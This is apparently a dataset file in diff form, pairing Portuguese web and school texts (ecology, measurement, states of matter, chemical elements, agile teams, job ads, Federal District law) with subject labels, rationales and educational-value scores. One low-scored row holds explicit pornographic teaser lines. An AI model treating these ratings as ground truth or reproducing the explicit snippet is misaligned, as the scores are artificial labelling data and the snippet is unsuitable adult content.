+Integridade ou autenticidade significa representar as próprias intenções e compromissos, para com os outros e para consigo, de forma sincera, por meio de palavras e ações.
+d. Animação/Paixão/Entusiasmo
+Trata-se da propensão a atirar-se de corpo e alma nas at...",original,original,original,original,4,0.8
+"Já parou para pensar em como tudo está conectado ao nosso redor? As árvores que nos dão sombra, os animais que vemos nos parques, a água que bebemos… Tudo isso faz parte de um grande sistema chamado meio ambiente. E a ecologia é a ciência que estuda essa complexa relação entre os seres vivos e o ambiente em que vivem.
+
+Imagine uma teia de aranha gigante. Cada fio representa uma conexão entre os elementos da natureza. Se um fio se rompe, toda a teia pode ser afetada. Por exemplo, se derrubarmos muitas árvores em uma floresta, os animais que vivem ali perdem seu lar e podem até desaparecer. A água dos rios pode ficar poluída, prejudicando os peixes e as plantas aquáticas. E o solo, sem a proteção das raízes das árvores, pode ser levado pela chuva, causando erosão.
+
+A ecologia nos ajuda a entender como essas relações funcionam e como podemos cuidar melhor do nosso planeta. Pense na sua casa. Você se preocupa em manter tudo limpo e organizado, certo? Com o planeta Terra, nossa casa maior, não é diferente. Precisamos cuidar do ar que respiramos, da água que bebemos, do solo onde plantamos nossos alimentos e de todas as formas de vida que existem.
+
+Um exemplo prático de como a ecologia se manifesta em nosso dia a dia é a reciclagem. Quando separamos o lixo em casa, estamos contribuindo para que os materiais possam ser reaproveitados, evitando o acúmulo de resíduos em aterros sanitários e a exploração de recursos naturais. Outro exemplo é o consumo consciente. Ao escolher produtos que são feitos de forma sustentável, ou seja, que não prejudicam o meio ambiente, estamos ajudando a preservar os recursos naturais para as futuras gerações.
+
+É importante lembrar que cada um de nós tem um papel importante na proteção do meio ambiente. Pequenas atitudes, como economizar água e energia, plantar árvores, usar transporte público ou bicicleta em vez de carro, fazem toda a diferença. Afinal, o futuro do nosso planeta está em nossas mãos. O que você tem feito para cuidar da nossa casa comum? Que tal começar hoje mesmo?",Ciências,Meio ambiente e ecologia,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional. Introduz o conceito de ecologia de forma acessível, utilizando analogias como a teia de aranha para facilitar a compreensão. Apresenta exemplos práticos e relevantes para o dia a dia dos alunos, incentivando ações de preservação ambiental. O texto é claro, coerente e adequado para o ensino fundamental, promovendo a conscientização e o engajamento dos estudantes com a temática ambiental.",5,1.0
+Plano de Ensino - Tema: Espaço rural e urbano no Brasil.,original,original,original,original,4,0.8
+"Aplicações do iodo no cotidiano e onde ele é encontrado na natureza
+Imagem em formato PDF para imprimir
+Quanto do elemento iodo existe no…
+– é o 63º elemento maia abundante na crosta terrestre
+– minerais com iodo são raros; boa parte dos depósitos minerais estão na forma de iodatos
+Quais são as principais aplicações do elemento iodo no cotidiano?
+– é adicionado no sal (de cozinha) para evitar o bócio
+– antigamente era utilizado em uma técnica fotográfica conhecida como daguerrótipo
+– usado na indústria farmacêutica e como desinfetante na medicina
+– em tintas de impressão, corantes e pigmentos
+– o isótopo radioativo iodo-131 é algumas vezes utilizado para tratamento de câncer na tireoide
+– como catalisador na indústria; no processo Cativa
+Hoje é dia do Maxim Thoisoi mostrar as propriedades e reações químicas do elemento césio.
+Um alerta. Normalmente o césio não é radioativo. Estamos acostumados em pensar em radioatividade por causa do acidente com o césio em Goiânia; no entanto naquele caso o isótopo radioativo césio 137 é que foi responsável pela contaminação.
+A amostra apresentada no vídeo possui um tom dourado, e isso é devido à presença de traços de oxigênio – que se removido acaba por deixar o césio mais pálido.
+Em uma das reações do césio com a umidade do ar é possível perceber a bela cor violeta da chama – uma característica deste elemento químico.
+Você também poderá ver no vídeo o elemento reagindo com areia, etanol, sulfato de manganês, cobre e enxofre.
+O vídeo tem legenda em português. Ative a exibição pelo YouTube.
+Infelizmente é um material bastante caro para realizar experimentos. Uma ampola com 1 grama do elemento pode custar mais de 150 euros!
+Para ver mais vídeos e informações sobre o césio clique aqui.
+Onde é encontrado e qual é a utilidade do elemento ítrio
+Corpo humano – (dados não disponíveis)
+Onde podemos encontrar o ítrio?
+– é o 28º colocado entre os elementos mais abundantes na crosta terrestre
+– o mineral xenótimo (YPO4) pode conter até 50% de fosfato de ítrio; e é minerado na China e Malásia
+Quais são as principais aplicações cotidianas do elemento ítrio?
+– usado para aprimorar ligas dos metais alumínio, cromo e magnésio
+– em sistemas de geração de lasers
+– na geração da cor vermelha em antigos tubos de televisões coloridas
+– na forma de Y3Fe5O12 é utilizado como um meio para filtrar microondas
+– granada de ítrio e alumínio é usada em joalheria para simular um diamante
+– óxido de ítrio é adicionado em lentes de câmeras para torná-la resistente aos impactos e ao calor
+– o isótopo radioativo de ítrio-90 pode ser usado na medicina; no tratamento de câncer de fígado, por exemplo
+Onde podemos encontrar o estrôncio?
+– está na 15ª posição entre os elementos mais abundantes na crosta terrestre
+– encontrado principalmente na forma de sulfato (SrSO4) ou carbonato (SrCO3)
+Quais são as principais aplicações do elemento estrôncio no dia a dia?
+– era utilizado na produção de vidros para televisão com tubo (modelos antigos)
+– na produção de fogos de artifício; principalmente para obter uma cor avermelhada nos fogos
+– o isótopo de estrôncio-90 tem sido usado em sistemas de geradores termoelétricos por radioisótopos
+– cloreto de estrôncio hexahidratado faz parte da composição de alguns cremes dentais para dentes sensíveis
+– tintas modernas do tipo ‘brilha no escuro’ podem conter aluminato de estrôncio
+– o titanato de estrôncio (SrTiO3) pode ser usado como uma imitação do diamante
+O Laboratório Nacional de Oak Ridge foi inaugurado com a missão de produzir plutônio para armas nucleares, mas, após a Segunda Guerra Mundial, encontrou uma nova vocação.
+Em 1942, o presidente Roosevelt ordenou que o Corpo de Engenheiros do Exército dos EUA coordenasse a pesquisa sobre armas nucleares. A iniciativa que veio a ser conhecida como o Projeto Manhattan envolveu laboratórios nacionais em todo o país. Uma dessas instalações, Clinton Laboratories, encontrou um lar improvável no leste do Tennessee.
+O leste do Tennessee não parecia um lo...",original,original,original,original,3,0.6
+"Equipes ágeis se refere a grupos pequeno de pessoas, com múltiplos saberes, empenhadas em um determinado projeto. Entenda o que são e sua importância.
+A metodologia ágil surgiu na área de tecnologia, como uma alternativa ao aperfeiçoamento de processos e entrega de qualidade aos clientes.
+Seu objetivo é otimizar o fluxo de trabalho, melhorar a produtividade em projetos e aumentar o sucesso do negócio.
+Apesar de ter sido desenvolvida para a área de tecnologia e desenvolvimento de softwares, no entanto, nada impede que ela seja utilizada por outras áreas de atuação. E com isso, trazer resultados excepcionais para as mais variadas organizações e equipes.
+Para esclarecer, não tem a ver com fazer mais rápido. Agilidade nesse caso não é sinônimo de velocidade. É também trabalhar para ter resultados em menor tempo. Mas ter equipes ágeis tem a ver com trabalho sincronizado, colaborativo e resultados promissores.
+Como surgiu o manifesto ágil?
+O desenvolvimento de softwares tem impulsionado o mercado. Desde o advento da globalização, a área de tecnologia tem vivido em franco crescimento.
+No entanto desenvolver softwares nunca foi uma atividade fácil. Desenhar programas era uma atividade trabalhosa e demorada. Além disso, muitas vezes o produto trazia funcionalidades que se tornavam obsoletas, devido a demora na finalização.
+Sendo assim, um grupo formado por 17 desenvolvedores se reuniram em solo americano em 2001. Interessados em discutir maneiras de desenvolvimento de tecnologias leves e efetivas, eles desenvolveram um documento intitulado como “Manifesto para o Desenvolvimento Ágil de Software”.
+Esse documento baseia-se em 12 princípios que defendem o desenvolvimento ágil de softwares. Dentre eles, destacam-se quatro:
+Colocar indivíduos e suas interações acima de processos e ferramentas;
+Software funcionando acima de documentação abrangente;
+Cultura de colaboração com o cliente acima de negociação de contratos,
+Resposta rápida às transformações do mundo, mais do que seguir um plano.
+Apesar de valorizar os processos de trabalho, legalidade de documentações e contratos e os planos de trabalho, a ideia é fazer com que o cliente seja atendido, dentro de sua real necessidade, no menor tempo possível.
+Desse manifesto, nasceu a metodologia ágil, e sendo assim, as equipes ágeis.
+A metodologia ágil nas empresas
+Planejamento sempre foi a palavra de ordem na busca do sucesso das organizações.
+No entanto o mundo muda rapidamente. O previsto para hoje, amanhã se torna o impraticável.
+As empresas precisam acompanhar o desenvolvimento do mundo VUCA e garantir que os resultados serão satisfatórios mesmo em meio a tantas incertezas.
+Nesse sentido, a metodologia ágil se transformou numa aliada das organizações. E a partir dela, o desenvolvimento de equipes ágeis. Preparadas para lidar com mudanças e prontas a se adaptarem as novas realidades do mundo do trabalho.
+Para aqueles que já conhecem a experiência da metodologia ágil, fica evidente as vantagens de ter cliente próximo dos processos de trabalho. Mas para aqueles que ainda não conhecem, vale a pena vivenciar a experiência.
+Sua filosofia é o aprimoramento dos processos de trabalho, aumento das interações na equipe e agilização do fluxo de trabalho.
+O que são equipes ágeis
+Equipes ágeis são aquelas que se concentram na relevância do resultado. O objetivo é focar na necessidade do cliente. Dessa forma o eixo está em atender a necessidade do cliente se adaptando as mudanças que acontecem no meio do caminho.
+Equipes ágeis são formadas por grupos pequenos de pessoas. Entre cinco e seis pessoas. com habilidades distintas para o cumprimento do objetivo.
+Sendo assim, é preciso criatividade e um time altamente capacitado tecnicamente, capaz de se adaptar as mudanças e superar esses desafios.
+Para entender como é uma equipe ágil, pense em uma reunião de trabalho. A ideia é ter uma reunião confortável, onde todos possam ser ouvidos e serem participativos. Se alguém fica de fora disso, provavelmente sua equipe...",original,original,original,original,4,0.8
+"Olá, pequenos exploradores! Já pararam para pensar em como medimos as coisas ao nosso redor? Medir faz parte da nossa vida e nos ajuda em muitas situações, desde preparar um bolo delicioso até construir uma casa bem forte e segura. Vamos embarcar juntos nessa aventura para entender melhor as medidas e as grandezas!
+
+Imagine que você quer convidar seus amigos para uma festa. Para saber quantos docinhos e salgadinhos comprar, você precisa medir a quantidade certa, não é mesmo? E como fazemos isso? Usamos diferentes tipos de medidas, como o peso (gramas e quilos para os doces e salgados), a capacidade (litros para o suco) e o tempo (horas para a duração da festa!).
+
+A professora Ana sempre começa a aula perguntando: “Qual é a sua altura?”. Cada um se levanta e ela usa uma fita métrica para medir. A altura é uma medida de comprimento. Usamos o centímetro (cm) para medir coisas pequenas, como o tamanho de um lápis, e o metro (m) para coisas maiores, como a altura de uma porta ou o comprimento de uma sala. E para distâncias bem longas, como a distância entre duas cidades, usamos o quilômetro (km). Que tal medir a sua altura e a dos seus amigos? Vocês podem comparar e ver quem é o mais alto!
+
+Outra coisa super importante é o tempo. A gente mede o tempo em segundos, minutos, horas, dias, semanas, meses e anos. Para saber que horas são, olhamos para o relógio. O relógio nos ajuda a organizar o nosso dia: a hora de acordar, de ir para a escola, de brincar e de dormir. Já pensou em como seria difícil viver sem saber que horas são? Tente imaginar um dia sem relógio e veja como o tempo é fundamental para tudo o que fazemos.
+
+Além do comprimento e do tempo, temos a massa, que popularmente chamamos de peso. Quando vamos ao supermercado comprar frutas, verduras e carne, usamos o quilo (kg) ou a grama (g) para medir a quantidade. Uma maçã pode pesar cerca de 200 gramas, enquanto um saco de arroz pode ter 5 quilos. A balança é o instrumento que usamos para medir a massa dos objetos. Que tal pedir para um adulto te mostrar diferentes produtos com suas medidas de peso?
+
+E não podemos esquecer da capacidade, que usamos para medir líquidos. Quando compramos leite, suco ou água, geralmente usamos o litro (l) ou o mililitro (ml). Uma garrafa de água pode ter 1 litro, enquanto uma colher de xarope pode ter 5 mililitros. Os recipientes, como copos medidores e jarras, nos ajudam a medir a capacidade dos líquidos. Tente descobrir quantos copos de água são necessários para encher uma garrafa de 1 litro.
+
+As medidas e as grandezas estão por toda parte! Ao cozinhar, ao construir, ao planejar uma viagem, ao brincar e até mesmo ao assistir televisão. Prestar atenção nas medidas nos ajuda a entender melhor o mundo e a resolver problemas do dia a dia. Então, continue explorando, medindo e descobrindo as maravilhas da matemática! E lembre-se: a matemática pode ser muito divertida e está sempre presente em nossas vidas!
+
+Agora, pensem um pouquinho: Em quais outras situações do dia a dia vocês usam as medidas? Como vocês usariam a régua para medir um objeto pequeno? E como vocês usariam o relógio para organizar as atividades de um dia?",Matemática,Medidas e grandezas,anos iniciais (1º ao 5º ano),"O trecho é altamente relevante para o ensino fundamental, introduzindo o conceito de medidas e grandezas de forma lúdica e acessível. Apresenta exemplos práticos do cotidiano, como cozinhar, planejar uma festa e ir ao supermercado. O texto é claro, consistente e inclui perguntas que estimulam a reflexão dos alunos. Aborda unidades de medida como gramas, quilos, litros, metros, centímetros e tempo, essenciais no currículo escolar. Por isso, recebe a pontuação máxima.",5,1.0
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+"Você já se sentiu como um detetive tentando solucionar um mistério? Pois saiba que resolver problemas de matemática é muito parecido! Em vez de pistas escondidas em um livro, você encontra informações e números que, quando organizados, revelam a resposta. A matemática, mais do que fórmulas e contas, é uma ferramenta poderosa para entender o mundo ao nosso redor. E a resolução de problemas é a chave para destravar esse poder.
+
+Mas como começar essa aventura? O primeiro passo é entender o problema. Leia com atenção! Sublinhe as informações importantes, identifique o que está sendo perguntado e, se precisar, faça um desenho ou esquema para visualizar a situação. Imagine, por exemplo, que você está planejando uma festa e precisa calcular quantos refrigerantes comprar. O problema dirá quantas pessoas irão à festa e quantos copos de refrigerante cada pessoa deve beber. Essas são as informações cruciais para começar!
+
+Depois de entender o problema, é hora de planejar a solução. Pense nas operações matemáticas que podem te ajudar: adição, subtração, multiplicação ou divisão. Voltando ao exemplo da festa, você precisará multiplicar o número de pessoas pela quantidade de refrigerante por pessoa para saber o total necessário. Às vezes, um problema pode exigir mais de uma operação! Não tenha medo de experimentar e testar diferentes caminhos. O importante é ter um plano.
+
+Com o plano em mãos, é hora de colocar a ""mão na massa"" e realizar os cálculos. Atenção aos detalhes! Um pequeno erro pode levar a um resultado incorreto. Use uma calculadora, faça os cálculos em uma folha separada e confira os resultados. No nosso exemplo, se você errar na multiplicação, pode comprar refrigerante demais ou de menos! E, claro, não se esqueça da unidade de medida: estamos falando de litros, copos, ou garrafas?
+
+Finalmente, depois de encontrar a resposta, pare um momento para verificar se ela faz sentido. A resposta é razoável? Ela responde à pergunta original? Se a resposta for ""não"", volte e revise seus cálculos e seu plano. Talvez você tenha interpretado o problema de forma incorreta ou usado a operação errada. A persistência é fundamental!
+
+Resolver problemas de matemática não é apenas sobre encontrar a resposta certa, mas sobre desenvolver o raciocínio lógico, a capacidade de análise e a criatividade. É como construir um quebra-cabeça: cada peça (informação) se encaixa em um lugar específico, formando um quadro completo (a solução). Então, da próxima vez que você se deparar com um problema de matemática, lembre-se: você é um detetive! Use suas habilidades e divirta-se desvendando o mistério. E aí, qual será o próximo problema a ser resolvido?",Matemática,Resolução de problemas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional. Introduz a resolução de problemas matemáticos de forma lúdica e acessível, utilizando a analogia com a detetive. Apresenta os passos para a resolução de problemas (entender o problema, planejar a solução, realizar os cálculos e verificar a resposta) de forma clara e didática, com exemplos práticos e adequados ao ensino fundamental. Estimula o raciocínio lógico, a capacidade de análise e a criatividade.",5,1.0
+"Já parou para pensar por que o gelo derrete e a água evapora? A resposta está nos estados físicos da matéria! Tudo ao nosso redor, desde o ar que respiramos até a cadeira onde você está sentado, é feito de matéria, e essa matéria pode se apresentar em três estados principais: sólido, líquido e gasoso. Vamos explorar cada um deles de forma divertida e descomplicada!
+
+**Sólido:** Imagine um cubo de gelo. Ele é firme, tem uma forma definida e um volume que não muda facilmente. Isso acontece porque as partículas que formam o gelo (moléculas de água) estão muito próximas umas das outras e se movem pouco, apenas vibrando em seus lugares. Outros exemplos de sólidos são madeira, metal, plástico e o seu livro de Ciências!
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+**Líquido:** Agora, pense na água que sai da torneira. Ela não tem uma forma fixa, se adapta ao recipiente em que é colocada. Mas ela ainda tem um volume definido – um litro de água continua sendo um litro, mesmo que esteja em uma garrafa, um copo ou uma piscina. As partículas nos líquidos estão mais afastadas do que nos sólidos e podem se mover com mais liberdade, deslizando umas sobre as outras. Além da água, o óleo, o suco e o leite são exemplos de líquidos.
+
+**Gasoso:** E o ar que enche um balão? Ele é invisível e se espalha por todo o espaço disponível. Os gases não têm forma nem volume definidos. Suas partículas estão muito afastadas umas das outras e se movem rapidamente em todas as direções. O vapor de água, o gás de cozinha e o oxigênio que respiramos são exemplos de gases.
+
+**Mudanças de Estado:** A matéria não precisa ficar sempre no mesmo estado! Com a temperatura certa, um sólido pode se transformar em líquido (fusão), como o gelo derretendo. Um líquido pode virar gás (vaporização), como a água fervendo e virando vapor. E o contrário também acontece: o gás pode virar líquido (condensação), como o vapor de água se transformando em gotículas na tampa de uma panela, e o líquido pode virar sólido (solidificação), como a água congelando para formar gelo.
+
+**Exemplos do dia a dia:** Pense em uma barra de chocolate: sólida à temperatura ambiente, mas que derrete (vira líquida) se deixada no sol. Ou na água que você usa para fazer um chá: líquida na torneira, mas que se transforma em vapor (gasosa) quando fervida.
+
+**Para Refletir:**
+*   O que aconteceria se não existissem os diferentes estados da matéria?
+*   Quais outras mudanças de estado você observa no seu dia a dia?
+*   Como o conhecimento sobre os estados da matéria nos ajuda a entender o mundo ao nosso redor?
+
+Compreender os estados físicos da matéria é fundamental para entendermos como o mundo funciona! Ao observarmos o nosso cotidiano, percebemos a importância desses conceitos e como eles estão presentes em tudo o que fazemos. Continue explorando e descobrindo os segredos da ciência!",Ciências,Estados físicos da matéria,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas e relevantes sobre os estados físicos da matéria, adequadas para o ensino fundamental. A linguagem é acessível, com exemplos práticos e perguntas reflexivas que estimulam o aprendizado. A estrutura é clara e organizada, facilitando a compreensão dos conceitos. O texto aborda o currículo escolar de forma consistente, sendo altamente relevante e proveitoso para fins educacionais.",5,1.0
+"Junho 2010 | Blog do Batata
+Curso técnico: emprego garantido.
+Blog do Batata | 16:42 | | 0 comentários
+O curso técnico é todo e qualquer tema especializado que a pessoa estuda como forma de complementação, aperfeiçoamento ou especialização. Pode ser feito em qualquer idade.
+Tem o propósito de capacitar o profissional, proporcionando conhecimentos teóricos e práticos das diversas atividades do setor produtivo, permitindo que o futuro profissional descubra o seu verdadeiro potencial e inicie um processo de desenvolvimento de suas potencialidades na busca da sua realização profissional.
+Se você colocou na cabeça que a melhor solução para o sucesso profissional é entrar na faculdade imediatamente, pare para pensar. Existe um caminho mais curto para você entrar no mercado de trabalho, o Curso Técnico
+O que está acontecendo com o mercado de trabalho? De um lado, há um batalhão de candidatos, principalmente jovens entre 17 e 25 anos, com formação superior, que não conseguem emprego. Do outro lado, as empresas estão dizendo que as vagas existem, mas faltam candidatos qualificados.A realidade é que estão sobrando candidatos com curso superior e faltando candidatos de nível técnico.
+Atualmente, informática é o setor que mais está oferecendo vagas. Estima-se que nos próximos cinco anos haverá uma falta de cem mil técnicos em informática. O mercado também está à procura de técnicos em logística, um curso em alta no momento.
+Qual é a vantagem de fazer o curso técnico antes de fazer a faculdade?
+Você acaba saindo na frente de muitas pessoas que fazem a faculdade e não tem uma experiência de trabalho, de vivência, de rotina, que curso o técnico lhes oferece
+Emprego garantido !
+São muitas as dúvidas de quem se prepara para entrar no mercado de trabalho. As perguntas mais comuns: Que curso devo fazer? Como está o mercado de trabalho nesse setor que estou escolhendo?
+É exatamente ao refletir sobre essas questões que nos deparamos com um dos problemas mais preocupantes para quem está entrando num mercado de trabalho competitivo e diversificado: O Desemprego.
+Existem três modalidades de curso:
+· Integrado: Onde o aluno cursa o Ensino Médio ao mesmo tempo em que recebe o aprendizado técnico.
+· Sequencial: Para quem já concluiu o Ensino Médio e, nesse caso, estuda apenas o conteúdo técnico.
+· Programa de Educação de Jovens e Adultos: Voltado para os que têm mais de 18 anos e precisam concluir o Ensino Médio e fazer o curso técnico simultaneamente.
+Os professores dizem que, para aqueles que já concluíram o Ensino Médio, muitas vezes vale a pena adiar um pouco o sonho de ir para a universidade. Optar por um curso técnico pode ser uma boa estratégia para se posicionar melhor no mercado de trabalho.
+A vantagem é, enquanto ele estuda no Ensino Médio, recebe qualificação profissional. Nesse sentido, é muito interessante para o aluno, porque ele não está escolhendo só um curso técnico, ele está escolhendo uma carreira.
+Como Você Enxerga O Mercado De Trabalho E As Oportunidades De Emprego ?
+Blog do Batata | 19:31 | | 1 comentários
+O que é mercado de trabalho? Por que é tão importante manter-se informado sobre ele? O que ele tem a ver com a escolha profissional? Afinal, como anda o mercado de trabalho em tempos de desemprego?
+Mercado de trabalho é a relação entre a oferta de trabalho e a procura de trabalhadores, e o conjunto de pessoas e/ou empresas que em época e lugar determinados, provocam o surgimento e as condições dessa relação.
+Ficar atento ao mercado de trabalho é fundamental para quem está pretendendo investir em uma profissão, em uma carreira. Entender o que se busca num profissional atualmente, as novas regras de trabalho, as relações de competição, as
+exigências da globalização, tudo isso faz parte da compreensão global da expressão “mercado de trabalho” .
+A rapidez com que o mundo caminha é tal que parece impossível acompanhar todas as mudanças no mercado. Independentemente da profissão que você escolher, é importante que saiba que hoje em dia...",original,original,original,original,4,0.8
+"PODER EXECUTIVO - GOVERNADOR E VICE-GOVERNADOR (São condições de… Coggle
+PODER EXECUTIVO - GOVERNADOR E VICE-GOVERNADOR (São condições de…
+PODER EXECUTIVO - GOVERNADOR E VICE-GOVERNADOR
+O Poder Executivo é exercido pelo Governador do Distrito Federal, auxiliado pelos Secretários de Estado do Distrito Federal
+A eleição do Governador do Distrito Federal é feita por sufrágio universal e por voto direto e secreto
+O mandato do Governador do Distrito Federal será de quatro anos, permitida a reeleição para um único período subsequente
+São condições de elegibilidade para Governador e Vice-Governador do Distrito Federal
+Será considerado eleito Governador do Distrito Federal o candidato que, registrado por partido político, obtiver a maioria absoluta de votos, não computados os em branco e os nulos
+Se nenhum candidato alcançar maioria absoluta no primeiro turno, faz-se nova eleição, na qual concorrem os dois candidatos mais votados, sendo considerado eleito o que obtiver a maioria dos votos válidos
+Se, antes de realizado o segundo turno, ocorrer morte, desistência ou impedimento legal de candidato, convocar-se-á, entre os remanescentes, o de maior votação
+Se, na hipótese dos parágrafos anteriores, remanescer, em segundo lugar, mais de um candidato com a mesma votação, qualificar-se-á o mais idoso
+Se, decorridos dez dias da data fixada para a posse, o Governador ou o Vice-Governador do Distrito Federal, salvo motivo de força maior, não tiver assumido o cargo, este será declarado vago
+Cabe ao Vice-Governador substituir o Governador em sua ausência ou impedimento e suceder-lhe no caso de vaga
+O Vice-Governador do Distrito Federal, além de outras atribuições que lhe forem conferidas por lei complementar, auxiliará o Governador, sempre que por ele convocado para missões especiais
+Vagando os cargos de Governador e Vice-Governador do Distrito Federal, far-se-á eleição noventa dias depois de aberta a última vaga
+Ocorrendo a vacância nos últimos dois anos do mandato, a eleição para ambos os cargos será feita trinta dias depois da última vaga, pela Câmara Legislativa, na forma da lei
+Em qualquer dos casos, os eleitos deverão completar o período de seus antecessores
+O Governador e o Vice-Governador deverão residir no Distrito Federal
+O Governador e o Vice-Governador não poderão, sem licença da Câmara Legislativa, ausentar-se do Distrito Federal por período superior a quinze dias, sob pena de perda do cargo
+A licença a que se refere o caput deste artigo deverá ser justificada
+O Governador e o Vice-Governador do Distrito Federal poderão afastar-se durante trinta dias, a título de férias, em cada ano de seu mandato
+O Governador e o Vice-Governador deverão, no ato da posse e no término do mandato, fazer declaração pública de bens
+Aplicam-se ao Governador e ao Vice-Governador, no que couber, as proibições e impedimentos estabelecidos para os Deputados Distritais, fixados no art. 62
+Perderá o mandato o Governador que assumir outro cargo ou função na administração pública direta ou indireta, federal, estadual, municipal ou do Distrito Federal, ressalvada a posse em virtude de concurso público e observado o disposto no art. 38, I, IV e V, da Constituição Federal",original,original,original,original,4,0.8
+"Os quatro eixos principais de ação são formados pelas áreas de educação empreendedora, desburocratização e simplificação, inovação e tecnologia, agronegócio e turismo
+“Para cada eixo temos coordenadores de trabalho e um plano de ação”, afirma Silvana
+“Estamos conscientes da nossa missão, mas principalmente, da importância de trabalharmos em conjunto
+Segundo a gerente regional do Sebrae Norte, Silvana Berguemaier, o Comitê de Governança Empreendedora de Erechim envolve lideranças do município, representantes da iniciativa privada, poder público e universidades. “Disponibilizamos uma capacitação para essas lideranças no sentido de prepará-las para pensar e discutir ações estratégicas de desenvolvimento para o município”, afirma.
+Segundo Silvana, os quatro eixos são formados pela área de educação empreendedora, desburocratização e simplificação, inovação e tecnologia, e agronegócio e turismo. “Para cada eixo temos coordenadores de trabalho e um plano de ação, que será desmembrado em atividades envolvendo outras pessoas que não participaram da capacitação, mas que possam vir a colaborar nesse processo”, destaca.
+“A ideia é que esse comitê venha definir ações estratégicas para o desenvolvimento do município e que seja um grupo pensante capaz de mapear possíveis melhorias no ambiente para as microempresas e possam implementar algumas atividades em parceria com as instituições locais para aperfeiçoamento desse ambiente”, observa.
+Conforme Silvana, vai se buscar avanços na desburocratização, iniciativas de inovação, fortalecimento do agronegócio e turismo, bem como, a educação empreendedora. “O que queremos para o Erechim do futuro? Que semente queremos plantar na cabeça das crianças para o futuro do município?”, questiona.
+O presidente Eduardo Predebon, enfatiza que o comitê é fundamental para o desenvolvimento de Erechim. “Esperamos que com a reunião de todas as lideranças das instituições de educação, todos empresários locais e, principalmente, com a colaboração do governo municipal possamos trazer um novo alento para todo município de Erechim”, observa.
+“Estamos conscientes da nossa missão, mas principalmente, da importância de trabalharmos em conjunto pelo progresso de Erechim”, afirma. Eduardo enfatiza que a avaliação inicial é muito positiva, com muito trabalho construtivo. “E o que é mais importante, o desenvolvimento de um consenso entre todas as lideranças nas ações futuras”, salienta.",original,original,original,original,2,0.4
+"Possui laterais mais largas, que oferecem mais conforto com a parte frontal em tule bordado.",original,original,original,original,0,0.0
+"Nossa gente aqui na Ambev sonha GRANDE! Somos milhares de apaixonados pelo que fazemos. Nosso maior objetivo é inovar no setor de bebidas com a maior qualidade e diversidade possível, para que você possa brindar qualquer ocasião escolhendo o que mais gosta!
+A nossa Cultura é focada em construir um ambiente inclusivo e colaborativo, onde as pessoas possam ser o melhor delas mesmas! Gente é o nosso maior ativo, afinal sabemos que investir no potencial de nossos colaboradores é trazer ainda mais qualidade ao nosso negócio e às nossas bebidas. Por isso, estamos sempre em busca de talentos diversos, dispostos a construir esse grande sonho com a gente de unir as pessoas por um mundo melhor.
+Prazer, somos a Ambev e adoraríamos te ter com a gente.
+Responsabilities and assingments
+A rotina do cargo inclui:
+Oferecer suporte para a área de atuação, exercendo atividades que visam o desenvolvimento profissional do estagiário, sendo compatíveis com o curso técnico, visando futura efetivação.
+Requirements and qualifications
+Formação:
+Ensino Técnico
+Additional information
+Benefícios:
+Bolsa auxílio;
+Plano de Saúde;
+Auxílio Transporte ou fretado (dependendo a unidade);
+Vale alimentação ou refeitório (dependendo a unidade);
+Gympass;
+Gente 360;
+Sonhar, se desenvolver, construir e crescer dentro em um ambiente meritocrático e inclusivo;
+Fazer a diferença unindo as pessoas por um mundo melhor.
+Seja bem-vindo à Ambev
+Atualmente a nossa Cultura passa por um processo de transformação e evolução. A nossa história e o nosso jeito de ser são marcados por sonhos grandes que nos trouxeram até aqui e que nos enchem de orgulho! Mas acreditamos que o momento de evoluir é sempre o agora e poder fazer isso junto com a nossa gente é o que torna nossa jornada ainda mais incrível.
+Nossa cultura honra o passado e hoje também é norteada por 3 principais valores que nos guiam para sermos uma cia cada vez mais inclusiva, diversa, colaborativa, tecnológica e conectada ao futuro do mundo e da nossa plataforma de negócios, são eles: Escuta Ativa, Colaboração e Visão de Longo Prazo, cada um abarcando outras competências que fazem parte do nosso jeito de ser.
+Nos orgulhamos da nossa capacidade de realização e paixão que nos trouxeram até aqui e para continuarmos a evoluir juntos te convidamos a fazer parte também dessa jornada.",original,original,original,original,2,0.4
+"Essa mulher sensacional transou com um cara danado e ela...
+Mulher gostosa da bunda grande e sensacional queria sexo...
+Homem safado fez sexo com tudo com uma gordinha que é bem...",original,original,original,original,0,0.0
+"CE - Pag. 162
+Em virtude de surgirem dificuldades, não devemos abandonar as indústrias de que temos lançado mão como parte da obra educativa. Enquanto cursam a escola, os jovens devem ter oportunidade de aprender a usar as ferramentas. Sob o conselho de obreiros experimentados, carpinteiros aptos para ensinar, pacientes e bondosos, os próprios alunos devem edificar os prédios do terreno da escola, e fazer os necessários melhoramentos, aprendendo assim, mediante lições práticas, a construir economicamente. Os alunos também devem exercitar-se em aprender todas as espécies de obra relacionadas com a tipografia, como sejam composição, impressão e encadernação, juntamente com fazer tendas e outros ramos de trabalho útil. Devem-se plantar frutas miúdas, cultivar verduras e flores, e isto, as alunas devem ser chamadas para o ar livre, a fazer. Assim, ao mesmo tempo que exercitam o cérebro, os músculos e ossos, adquirem conhecimentos da vida prática.
+O preparo em todos esses pontos tornará nossos jovens úteis no levar a verdade aos campos estrangeiros. Não terão aí que depender do povo entre o qual vão viver para cozinhar e semear e construir para eles, nem será necessário gastar dinheiro para transportar homens de milhares de quilômetros para planejarem edifícios escolares, igrejas e moradias. Os missionários receberão muito mais influência entre o povo, uma vez que sejam capazes de ensinar os inexperientes a trabalhar de acordo com os melhores métodos e a produzir os melhores resultados. Serão assim aptos a demonstrar que os missionários se podem tornar educadores industriosos, e essa espécie de instrução será apreciada especialmente onde escasseiam os recursos. Será necessário muito menor capital para sustentar esses missionários, pois, a par de seus estudos, exercitaram da melhor maneira possível
+CE - Pag. 163
+capacidade física em trabalho prático; e onde quer que eles vão, tudo quanto obtiveram nesse sentido, lhes proporcionará vantagens. Seja proporcionada aos alunos dos departamentos industriais, quer se empreguem em trabalho doméstico, quer no cultivo do solo, quer em outros serviços, a oportunidade de contarem as lições práticas e espirituais que aprenderam em relação com o seu trabalho. Em todos os deveres práticos da vida, devem-se fazer comparações com os ensinos da Natureza e da Bíblia.
